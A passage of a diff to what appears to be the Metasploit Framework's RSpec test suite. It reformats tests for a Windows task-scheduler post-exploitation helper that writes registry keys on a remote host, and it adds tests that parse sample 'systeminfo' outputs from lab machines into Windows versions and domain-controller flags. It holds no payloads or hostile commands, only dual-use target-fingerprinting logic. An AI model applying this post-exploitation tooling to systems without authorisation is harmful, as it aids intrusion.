||||
expect(subject).to receive(:cmd_exec_with_result).and_return(['', true])
|
||||
subject.send(:add_reg_key_value, reg_key, reg_value, reg_data, reg_type, {override: true})
|
||||
subject.send(:add_reg_key_value, reg_key, reg_value, reg_data, reg_type, { override: true })
|
||||
end
|
||||
end
|
||||
end
|
||||
|
@ -738,7 +735,7 @@ RSpec.describe Msf::Post::Windows::TaskScheduler do
|
|||
|
||||
context 'when the `ScheduleRemoteSystem` datastore option is set' do
|
||||
it 'executes the expected command' do
|
||||
datastore.merge!( { 'ScheduleRemoteSystem' => '1.2.3.4' } )
|
||||
datastore.merge!({ 'ScheduleRemoteSystem' => '1.2.3.4' })
|
||||
expect(subject).to receive(:run_one_off_task).with(cmd)
|
||||
subject.send(:add_reg_key_value, reg_key, reg_value, reg_data, reg_type)
|
||||
end
|
||||
|
@ -747,10 +744,9 @@ RSpec.describe Msf::Post::Windows::TaskScheduler do
|
|||
context 'when the `:remote_system` hash option is passed as argument' do
|
||||
it 'executes the expected command' do
|
||||
expect(subject).to receive(:run_one_off_task).with(cmd)
|
||||
subject.send(:add_reg_key_value, reg_key, reg_value, reg_data, reg_type, {remote_system: '1.2.3.4'})
|
||||
subject.send(:add_reg_key_value, reg_key, reg_value, reg_data, reg_type, { remote_system: '1.2.3.4' })
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
|
|
|
@ -0,0 +1,415 @@
|
|||
# -*- coding: binary -*-
|
||||
require 'spec_helper'
|
||||
|
||||
|
||||
RSpec.describe Msf::Post::Windows::Version do
|
||||
|
||||
subject do
|
||||
context_described_class = described_class
|
||||
|
||||
klass = Class.new(Msf::Post) do
|
||||
include context_described_class
|
||||
end
|
||||
|
||||
klass.new
|
||||
end
|
||||
|
||||
let(:xp_sp2_systeminfo) do
|
||||
'Host Name: SMASH-72A287D2F
|
||||
OS Name: Microsoft Windows XP Professional
|
||||
OS Version: 5.1.2600 Service Pack 2 Build 2600
|
||||
OS Manufacturer: Microsoft Corporation
|
||||
OS Configuration: Standalone Workstation
|
||||
OS Build Type: Uniprocessor Free
|
||||
Registered Owner: smash
|
||||
Registered Organization:
|
||||
Product ID: 76487-011-3892913-22389
|
||||
Original Install Date: 12/6/2022, 2:27:30 PM
|
||||
System Up Time: 0 Days, 0 Hours, 51 Minutes, 12 Seconds
|
||||
System Manufacturer: VMware, Inc.
|
||||
System Model: VMware Virtual Platform
|
||||
System type: X86-based PC
|
||||
Processor(s): 1 Processor(s) Installed.
|
||||
[01]: x86 Family 6 Model 158 Stepping 10 GenuineIntel ~2208 Mhz
|
||||
BIOS Version: INTEL - 6040000
|
||||
Windows Directory: C:\WINDOWS
|
||||
System Directory: C:\WINDOWS\system32
|
||||
Boot Device: \Device\HarddiskVolume1
|
||||
System Locale: en-us;English (United States)
|
||||
Input Locale: en-us;English (United States)
|
||||
Time Zone: (GMT+10:00) Canberra, Melbourne, Sydney
|
||||
Total Physical Memory: 511 MB
|
||||
Available Physical Memory: 338 MB
|
||||
Virtual Memory: Max Size: 2,048 MB
|
||||
Virtual Memory: Available: 2,006 MB
|
||||
Virtual Memory: In Use: 42 MB
|
||||
Page File Location(s): C:\pagefile.sys
|
||||
Domain: WORKGROUP
|
||||
Logon Server: \\\\SMASH-72A287D2F
|
||||
Hotfix(s): 3 Hotfix(s) Installed.
|
||||
[01]: File 1
|
||||
[02]: Q147222
|
||||
[03]: KB911164 - Update
|
||||
NetWork Card(s): 1 NIC(s) Installed.
|
||||
[01]: VMware Accelerated AMD PCNet Adapter
|
||||
Connection Name: Local Area Connection
|
||||
DHCP Enabled: Yes
|
||||
DHCP Server: 192.168.73.254
|
||||
IP address(es)
|
||||
[01]: 192.168.73.147'
|
||||
end
|
||||
|
||||
let(:server2003_sp1_systeminfo) do
|
||||
'Host Name: SMASH-P7NPUUMTB
|
||||
OS Name: Microsoft(R) Windows(R) Server 2003, Standard Edition
|
||||
OS Version: 5.2.3790 Service Pack 1 Build 3790
|
||||
OS Manufacturer: Microsoft Corporation
|
||||
OS Configuration: Standalone Server
|
||||
OS Build Type: Uniprocessor Free
|
||||
Registered Owner: smash
|
||||
Registered Organization:
|
||||
Product ID: 69712-012-0000545-42062
|
||||
Original Install Date: 12/7/2022, 12:43:01 PM
|
||||
System Up Time: N/A
|
||||
System Manufacturer: VMware, Inc.
|
||||
System Model: VMware Virtual Platform
|
||||
System Type: X86-based PC
|
||||
Processor(s): 1 Processor(s) Installed.
|
||||
[01]: x86 Family 6 Model 158 Stepping 10 GenuineIntel ~2207 Mhz
|
||||
BIOS Version: INTEL - 6040000
|
||||
Windows Directory: C:\WINDOWS
|
||||
System Directory: C:\WINDOWS\system32
|
||||
Boot Device: \Device\HarddiskVolume1
|
||||
System Locale: en-us;English (United States)
|
||||
Input Locale: en-us;English (United States)
|
||||
Time Zone: (GMT+10:00) Canberra, Melbourne, Sydney
|
||||
Total Physical Memory: 383 MB
|
||||
Available Physical Memory: 229 MB
|
||||
Page File: Max Size: 932 MB
|
||||
Page File: Available: 799 MB
|
||||
Page File: In Use: 133 MB
|
||||
Page File Location(s): C:\pagefile.sys
|
||||
Domain: WORKGROUP
|
||||
Logon Server: \\\\SMASH-P7NPUUMTB
|
||||
Hotfix(s): 1 Hotfix(s) Installed.
|
||||
[01]: Q147222
|
||||
Network Card(s): 1 NIC(s) Installed.
|
||||
[01]: Intel(R) PRO/1000 MT Network Connection
|
||||
Connection Name: Local Area Connection
|
||||
DHCP Enabled: Yes
|
||||
DHCP Server: 192.168.73.254
|
||||
IP address(es)
|
||||
[01]: 192.168.73.148'
|
||||
end
|
||||
|
||||
let(:server2008_sp2_systeminfo) do
|
||||
'Host Name: WIN2008DC
|
||||
OS Name: Microsoftr Windows Serverr 2008 Standard
|
||||
OS Version: 6.0.6002 Service Pack 2 Build 6002
|
||||
OS Manufacturer: Microsoft Corporation
|
||||
OS Configuration: Primary Domain Controller
|
||||
OS Build Type: Multiprocessor Free
|
||||
Registered Owner: Windows User
|
||||
Registered Organization:
|
||||
Product ID: 92573-082-2500115-76258
|
||||
Original Install Date: 7/7/2022, 9:49:59 AM
|
||||
System Boot Time: 11/29/2022, 9:44:06 AM
|
||||
System Manufacturer: QEMU
|
||||
System Model: Standard PC (i440FX + PIIX, 1996)
|
||||
System Type: x64-based PC
|
||||
Processor(s): 1 Processor(s) Installed.
|
||||
[01]: Intel64 Family 15 Model 6 Stepping 1 GenuineIntel ~3392 Mhz
|
||||
BIOS Version: SeaBIOS rel-1.14.0-0-g155821a1990b-prebuilt.qemu.org, 4/1/2014
|
||||
Windows Directory: C:\Windows
|
||||
System Directory: C:\Windows\system32
|
||||
Boot Device: \Device\HarddiskVolume1
|
||||
System Locale: en-us;English (United States)
|
||||
Input Locale: en-us;English (United States)
|
||||
Time Zone: (GMT+10:00) Canberra, Melbourne, Sydney
|
||||
Total Physical Memory: 4,095 MB
|
||||
Available Physical Memory: 2,833 MB
|
||||
Page File: Max Size: 8,363 MB
|
||||
Page File: Available: 7,083 MB
|
||||
Page File: In Use: 1,280 MB
|
||||
Page File Location(s): C:\pagefile.sys
|
||||
Domain: pod7.local
|
||||
Logon Server: \\WIN2008DC
|
||||
Hotfix(s): 1 Hotfix(s) Installed.
|
||||
[01]: KB955430
|
||||
Network Card(s): 1 NIC(s) Installed.
|
||||
[01]: Intel(R) PRO/1000 MT Network Connection
|
||||
Connection Name: Local Area Connection
|
||||
DHCP Enabled: Yes
|
||||
DHCP Server: 192.168.20.1
|
||||
IP address(es)
|
||||
[01]: 192.168.20.99
|
||||
[02]: fe80::4d31:5b50:425a:4df0'
|
||||
end
|
||||
|
||||
let(:win10_systeminfo) do
|
||||
'Host Name: WIN10BASE
|
||||
OS Name: Microsoft Windows 10 Pro
|
||||
OS Version: 10.0.19045 N/A Build 19045
|
||||
OS Manufacturer: Microsoft Corporation
|
||||
OS Configuration: Standalone Workstation
|
||||
OS Build Type: Multiprocessor Free
|
||||
Registered Owner: smash
|
||||
Registered Organization:
|
||||
Product ID: 00331-20300-00000-AA252
|
||||
Original Install Date: 10/05/2021, 5:43:57 PM
|
||||
System Boot Time: 2/12/2022, 5:02:02 PM
|
||||
System Manufacturer: QEMU
|
||||
System Model: Standard PC (i440FX + PIIX, 1996)
|
||||
System Type: x64-based PC
|
||||
Processor(s): 2 Processor(s) Installed.
|
||||
[01]: Intel64 Family 15 Model 6 Stepping 1 GenuineIntel ~3392 Mhz
|
||||
[02]: Intel64 Family 15 Model 6 Stepping 1 GenuineIntel ~3392 Mhz
|
||||
BIOS Version: SeaBIOS rel-1.14.0-0-g155821a1990b-prebuilt.qemu.org, 1/04/2014
|
||||
Windows Directory: C:\WINDOWS
|
||||
System Directory: C:\WINDOWS\system32
|
||||
Boot Device: \Device\HarddiskVolume1
|
||||
System Locale: en-us;English (United States)
|
||||
Input Locale: en-us;English (United States)
|
||||
Time Zone: (UTC+10:00) Canberra, Melbourne, Sydney
|
||||
Total Physical Memory: 10,239 MB
|
||||
Available Physical Memory: 5,545 MB
|
||||
Virtual Memory: Max Size: 11,839 MB
|
||||
Virtual Memory: Available: 6,416 MB
|
||||
Virtual Memory: In Use: 5,423 MB
|
||||
Page File Location(s): C:\pagefile.sys
|
||||
Domain: WORKGROUP
|
||||
Logon Server: \\\\WIN10BASE
|
||||
Hotfix(s): 17 Hotfix(s) Installed.
|
||||
[01]: KB5020613
|
||||
[02]: KB4562830
|
||||
[03]: KB4577586
|
||||
[04]: KB4580325
|
||||
[05]: KB5000736
|
||||
[06]: KB5012170
|
||||
[07]: KB5015684
|
||||
[08]: KB5019959
|
||||
[09]: KB5011352
|
||||
[10]: KB5011651
|
||||
[11]: KB5014032
|
||||
[12]: KB5014035
|
||||
[13]: KB5014671
|
||||
[14]: KB5015895
|
||||
[15]: KB5016705
|
||||
[16]: KB5018506
|
||||
[17]: KB5005699
|
||||
Network Card(s): 1 NIC(s) Installed.
|
||||
[01]: Intel(R) PRO/1000 MT Network Connection
|
||||
Connection Name: Ethernet
|
||||
DHCP Enabled: Yes
|
||||
DHCP Server: 192.168.20.1
|
||||
IP address(es)
|
||||
[01]: 192.168.20.230
|
||||
[02]: fe80::47ee:641f:d05d:34f6
|
||||
Hyper-V Requirements: A hypervisor has been detected. Features required for Hyper-V will not be displayed.'
|
||||
end
|
||||
|
||||
let(:server2022_systeminfo) do
|
||||
'Host Name: twenty22
|
||||
OS Name: Microsoft Windows Server 2022 Datacenter Azure Edition
|
||||
OS Version: 10.0.20348 N/A Build 20348
|
||||
OS Manufacturer: Microsoft Corporation
|
||||
OS Configuration: Standalone Server
|
||||
OS Build Type: Multiprocessor Free
|
||||
Registered Owner: N/A
|
||||
Registered Organization: N/A
|
||||
Product ID: 00446-90000-00000-AA477
|
||||
Original Install Date: 12/2/2022, 5:01:55 AM
|
||||
System Boot Time: 12/2/2022, 5:02:20 AM
|
||||
System Manufacturer: Microsoft Corporation
|
||||
System Model: Virtual Machine
|
||||
System Type: x64-based PC
|
||||
Processor(s): 1 Processor(s) Installed.
|
||||
[01]: Intel64 Family 6 Model 85 Stepping 4 GenuineIntel ~2095 Mhz
|
||||
BIOS Version: Microsoft Corporation Hyper-V UEFI Release v4.1, 5/10/2022
|
||||
Windows Directory: C:\Windows
|
||||
System Directory: C:\Windows\system32
|
||||
Boot Device: \Device\HarddiskVolume3
|
||||
System Locale: en-us;English (United States)
|
||||
Input Locale: en-us;English (United States)
|
||||
Time Zone: (UTC) Coordinated Universal Time
|
||||
Total Physical Memory: 4,095 MB
|
||||
Available Physical Memory: 1,753 MB
|
||||
Virtual Memory: Max Size: 5,119 MB
|
||||
Virtual Memory: Available: 2,794 MB
|
||||
Virtual Memory: In Use: 2,325 MB
|
||||
Page File Location(s): D:\pagefile.sys
|
||||
Domain: WORKGROUP
|
||||
Logon Server: \\\\twenty22
|
||||
Hotfix(s): 4 Hotfix(s) Installed.
|
||||
[01]: KB5020619
|
||||
[02]: KB5012170
|
||||
[03]: KB5019081
|
||||
[04]: KB5017399
|
||||
Network Card(s): 1 NIC(s) Installed.
|
||||
[01]: Microsoft Hyper-V Network Adapter
|
||||
Connection Name: Ethernet
|
||||
DHCP Enabled: Yes
|
||||
DHCP Server: 168.63.129.16
|
||||
IP address(es)
|
||||
[01]: 10.1.0.4
|
||||
[02]: fe80::9232:386b:229f:402f
|
||||
Hyper-V Requirements: A hypervisor has been detected. Features required for Hyper-V will not be displayed.'
|
||||
end
|
||||
|
||||
let(:server2012_systeminfo) do
|
||||
'Host Name: WIN2012DC
|
||||
OS Name: Microsoft Windows Server 2012 Standard
|
||||
OS Version: 6.2.9200 N/A Build 9200
|
||||
OS Manufacturer: Microsoft Corporation
|
||||
OS Configuration: Primary Domain Controller
|
||||
OS Build Type: Multiprocessor Free
|
||||
Registered Owner: Windows User
|
||||
Registered Organization:
|
||||
Product ID: 00184-30000-00001-AA641
|
||||
Original Install Date: 8/09/2021, 3:22:39 AM
|
||||
System Boot Time: 27/10/2022, 1:09:24 PM
|
||||
System Manufacturer: QEMU
|
||||
System Model: Standard PC (i440FX + PIIX, 1996)
|
||||
System Type: x64-based PC
|
||||
Processor(s): 2 Processor(s) Installed.
|
||||
[01]: Intel64 Family 15 Model 6 Stepping 1 GenuineIntel ~3392 Mhz
|
||||
[02]: Intel64 Family 15 Model 6 Stepping 1 GenuineIntel ~3392 Mhz
|
||||
BIOS Version: SeaBIOS rel-1.14.0-0-g155821a1990b-prebuilt.qemu.org, 1/04/2014
|
||||
Windows Directory: C:\Windows
|
||||
System Directory: C:\Windows\system32
|
||||
Boot Device: \Device\HarddiskVolume1
|
||||
System Locale: en-au;English (Australia)
|
||||
Input Locale: en-us;English (United States)
|
||||
Time Zone: (UTC+10:00) Canberra, Melbourne, Sydney
|
||||
Total Physical Memory: 5,095 MB
|
||||
Available Physical Memory: 2,811 MB
|
||||
Virtual Memory: Max Size: 5,927 MB
|
||||
Virtual Memory: Available: 3,460 MB
|
||||
Virtual Memory: In Use: 2,467 MB
|
||||
Page File Location(s): C:\pagefile.sys
|
||||
Domain: pod8.lan
|
||||
Logon Server: \\\\WIN2012DC
|
||||
Hotfix(s): 1 Hotfix(s) Installed.
|
||||
[01]: KB2999226
|
||||
Network Card(s): 1 NIC(s) Installed.
|
||||
[01]: Intel(R) PRO/1000 MT Network Connection
|
||||
Connection Name: Ethernet
|
||||
DHCP Enabled: Yes
|
||||
DHCP Server: 192.168.20.1
|
||||
IP address(es)
|
||||
[01]: 192.168.20.210
|
||||
[02]: fe80::3d4f:28f8:dff2:5b29
|
||||
Hyper-V Requirements: A hypervisor has been detected. Features required for Hyper-V will not be displayed.'
|
||||
end
|
||||
|
||||
let(:server2008r2_sp1_systeminfo) do
|
||||
'Host Name: WIN-QL13MCNSIB2
|
||||
OS Name: Microsoft Windows Server 2008 R2 Standard
|
||||
OS Version: 6.1.7601 Service Pack 1 Build 7601
|
||||
OS Manufacturer: Microsoft Corporation
|
||||
OS Configuration: Standalone Server
|
||||
OS Build Type: Multiprocessor Free
|
||||
Registered Owner: Windows User
|
||||
Registered Organization:
|
||||
Product ID: 00477-179-0000007-84039
|
||||
Original Install Date: 12/6/2022, 4:07:05 AM
|
||||
System Boot Time: 12/5/2022, 8:23:53 PM
|
||||
System Manufacturer: QEMU
|
||||
System Model: Standard PC (i440FX + PIIX, 1996)
|
||||
System Type: x64-based PC
|
||||
Processor(s): 2 Processor(s) Installed.
|
||||
[01]: Intel64 Family 15 Model 6 Stepping 1 GenuineIntel ~3392 Mhz
|
||||
[02]: Intel64 Family 15 Model 6 Stepping 1 GenuineIntel ~3392 Mhz
|
||||
BIOS Version: SeaBIOS rel-1.14.0-0-g155821a1990b-prebuilt.qemu.org, 4/1/2014
|
||||
Windows Directory: C:\Windows
|
||||
System Directory: C:\Windows\system32
|
||||
Boot Device: \Device\HarddiskVolume1
|
||||
System Locale: en-us;English (United States)
|
||||
Input Locale: en-us;English (United States)
|
||||
Time Zone: (UTC-08:00) Pacific Time (US & Canada)
|
||||
Total Physical Memory: 2,047 MB
|
||||
Available Physical Memory: 1,310 MB
|
||||
Virtual Memory: Max Size: 4,095 MB
|
||||
Virtual Memory: Available: 3,197 MB
|
||||
Virtual Memory: In Use: 898 MB
|
||||
Page File Location(s): C:\pagefile.sys
|
||||
Domain: WORKGROUP
|
||||
Logon Server: \\\\WIN-QL13MCNSIB2
|
||||
Hotfix(s): 1 Hotfix(s) Installed.
|
||||
[01]: KB976902
|
||||
Network Card(s): 1 NIC(s) Installed.
|
||||
[01]: Intel(R) PRO/1000 MT Network Connection
|
||||
Connection Name: Local Area Connection
|
||||
DHCP Enabled: Yes
|
||||
DHCP Server: 192.168.20.1
|
||||
IP address(es)
|
||||
[01]: 192.168.20.130
|
||||
[02]: fe80::1469:cb66:dc1d:78bc'
|
||||
end
|
||||
|
||||
context "#systeminfo_parsed" do
|
||||
it "parses systeminfo on XP" do
|
||||
allow(subject).to receive(:cmd_exec) { xp_sp2_systeminfo }
|
||||
allow(subject).to receive_message_chain('session.type').and_return('shell')
|
||||
version = subject.get_version_info
|
||||
expect(version.build_number).to eq(Msf::WindowsVersion::XP_SP2)
|
||||
expect(version.windows_server?).to eq(false)
|
||||
expect(version.domain_controller?).to eq(false)
|
||||
end
|
||||
|
||||
it "parses systeminfo on 2003" do
|
||||
allow(subject).to receive(:cmd_exec) { server2003_sp1_systeminfo }
|
||||
allow(subject).to receive_message_chain('session.type').and_return('shell')
|
||||
version = subject.get_version_info
|
||||
expect(version.build_number).to eq(Msf::WindowsVersion::Server2003_SP1)
|
||||
expect(version.windows_server?).to eq(true)
|
||||
expect(version.domain_controller?).to eq(false)
|
||||
end
|
||||
|
||||
it "parses systeminfo on Win10" do
|
||||
allow(subject).to receive(:cmd_exec) { win10_systeminfo }
|
||||
allow(subject).to receive_message_chain('session.type').and_return('shell')
|
||||
version = subject.get_version_info
|
||||
expect(version.build_number).to eq(Msf::WindowsVersion::Win10_22H2)
|
||||
expect(version.windows_server?).to eq(false)
|
||||
expect(version.domain_controller?).to eq(false)
|
||||
end
|
||||
|
||||
it "parses systeminfo on 2022" do
|
||||
allow(subject).to receive(:cmd_exec) { server2022_systeminfo }
|
||||
allow(subject).to receive_message_chain('session.type').and_return('shell')
|
||||
version = subject.get_version_info
|
||||
expect(version.build_number).to eq(Msf::WindowsVersion::Server2022)
|
||||
expect(version.windows_server?).to eq(true)
|
||||
expect(version.domain_controller?).to eq(false)
|
||||
end
|
||||
|
||||
it "parses systeminfo on 2012" do
|
||||
allow(subject).to receive(:cmd_exec) { server2012_systeminfo }
|
||||
allow(subject).to receive_message_chain('session.type').and_return('shell')
|
||||
version = subject.get_version_info
|
||||
expect(version.build_number).to eq(Msf::WindowsVersion::Server2012)
|
||||
expect(version.windows_server?).to eq(true)
|
||||
expect(version.domain_controller?).to eq(true)
|
||||
end
|
||||
|
||||
it "parses systeminfo on 2008R2" do
|
||||
allow(subject).to receive(:cmd_exec) { server2008r2_sp1_systeminfo }
|
||||
allow(subject).to receive_message_chain('session.type').and_return('shell')
|
||||
version = subject.get_version_info
|
||||
expect(version.build_number).to eq(Msf::WindowsVersion::Server2008_R2_SP1)
|
||||
expect(version.windows_server?).to eq(true)
|
||||
expect(version.domain_controller?).to eq(false)
|
||||
end
|
||||
|
||||
it "parses systeminfo on 2008" do
|
||||
allow(subject).to receive(:cmd_exec) { server2008_sp2_systeminfo }
|
||||
allow(subject).to receive_message_chain('session.type').and_return('shell')
|
||||
version = subject.get_version_info
|
||||
expect(version.build_number).to eq(Msf::WindowsVersion::Server2008_SP2)
|
||||
expect(version.windows_server?).to eq(true)
|
||||
expect(version.domain_controller?).to eq(true)
|
||||
end
|
||||
|
||||
end
|
||||
end
|
|
@ -0,0 +1,29 @@
|
|||
require 'spec_helper'
|
||||
|
||||
RSpec.describe Msf::WindowsVersion do
|
||||
|
||||
it 'Recognisises a major version' do
|
||||
subject = described_class.new(6, 0, 6000, 0, Msf::WindowsVersion::VER_NT_WORKSTATION)
|
||||
expect(subject.to_s).to eq('Windows Vista')
|
||||
end
|
||||
|
||||
it 'Recognisises Windows Server' do
|
||||
subject = described_class.new(6, 0, 6000, 0, Msf::WindowsVersion::VER_NT_SERVER)
|
||||
expect(subject.to_s).to eq('Windows Server 2008')
|
||||
end
|
||||
|
||||
it 'Adds build suffix to Windows 10' do
|
||||
subject = described_class.new(10,0,18362,0,Msf::WindowsVersion::VER_NT_WORKSTATION)
|
||||
expect(subject.to_s).to eq('Windows 10+ Build 18362')
|
||||
end
|
||||
|
||||
it 'Adds service pack suffix' do
|
||||
subject = described_class.new(5,1,2600,2,Msf::WindowsVersion::VER_NT_WORKSTATION)
|
||||
expect(subject.to_s).to eq('Windows XP Service Pack 2')
|
||||
end
|
||||
|
||||
it 'Outputs unknown version' do
|
||||
subject = described_class.new(1,2,3000,0,Msf::WindowsVersion::VER_NT_WORKSTATION)
|
||||
expect(subject.to_s).to eq('Unknown Windows version: 1.2.3000')
|
||||
end
|
||||
end
|
Loading…
Reference in New Issue